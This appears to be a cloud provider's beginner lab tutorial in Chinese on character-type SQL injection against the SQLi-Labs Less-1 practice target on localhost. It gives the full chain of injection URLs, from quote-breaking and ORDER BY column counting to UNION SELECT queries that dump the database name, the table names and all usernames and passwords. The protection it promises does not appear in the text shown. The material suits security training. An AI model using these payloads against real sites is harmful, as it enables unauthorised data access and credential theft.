You need to enable JavaScript to run this app.
导航

WAF 基于字符型的sql注入测试

最近更新时间2022.08.28 18:14:07

首次发布时间2022.08.28 18:14:07

前言

SQL注入(SQL injection)是发生于应用程序与数据库层的安全漏洞。即在输入的字符串之中注入SQL指令,在设计不当的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。

字符型SQL注入为,当输入的参数是字符串时,如姓名,爱好等。例如URL为:http://www.xxx.com/test.php?name='jack' 可以猜测SQL语句为:select * from xx where name='jack',从而用户输入含恶意代码的内容,然后提交到后台执行。

本实验将帮助您模拟基于字符型的SQL注入以及如何进行防护。

关于实验

  • 预计部署时间:20分钟
  • 级别:初级
  • 相关产品:无
  • 受众: 通用

实验说明

  • 点击此链接登录控制台。

  • 如果您还没有账户,请点击此链接注册账户。

  • 用户需要新建ECS实例搭建靶场环境。

实验步骤

第一步 创建实例,新建靶场,参考此文档

第二步-进行字符型sql注入测试

1、打开SQLi-Labs,选择Less-1,查看相关信息,如下:

alt

提示:
Please input the ID as parameter with numeric value

我们将id作为查询字符串进行查询,url为:http://127.0.0.1/sql/Less-1/?id=1

如下:
alt

为了便于查看,将sql进行了显示输出, 如下:

SELECT * FROM users WHERE id='1' LIMIT 0,1

2、判断id参数位置是否存在sql注入点。

构造如下url:(添加单引号)
http://127.0.0.1/sql/Less-1/?id=1'

结果如下:
alt

可以发现报错。

再构造如下url:(添加注释符)

http://127.0.0.1/sql/Less-1/?id=1' %23

结果如下:
alt

可以发现正常输出。

以上测试说明id=1中1被单引号进行注释,为字符型,可以使用单引号闭合后,进行注入。

3、猜解字段数目。

使用order by 进行猜解,如果order by+数字可以执行,说明此表中存在此列(数字表示第几列,如2表示按第二列进行排序,如正常表示表中存在第二列),直到临界值出现。

如下:

http://127.0.0.1/sql/Less-1/?id=1' order by 3 %23

alt

http://127.0.0.1/sql/Less-1/?id=1' order by 4 %23

alt

从上面可以看出order by 3显示正常,order by 4显示异常,我们可以猜测此表有三列。

4、猜解数据库名称、版本等。

主要使用union select进行拼接然后回显查询的内容。

先猜解回显字段。

构造url如下:

http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3 %23

结果如下:

alt

可以看到能够回显的字段为2、3。

猜解数据库名称跟版本信息:

构造url如下:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,database(),version() %23

结果如下:
alt

可以看到数据库名称为security,版本为5.7.26。

5、猜解数据库中表名称。

构造url如下:

http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' %23

结果如下:

alt

可以看到猜解出的表名如下:emails,referers,uagents,users。

6、猜解users表中内容。

由于要猜解的是users表,猜测字段应由username跟password字段,(如没有可再从information_schema.columns中采集列)。

构造url如下:

http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users %23

结果如下:
alt

可以看到猜解出了username跟password。

如果您有其他问题,欢迎您联系火山引擎技术支持服务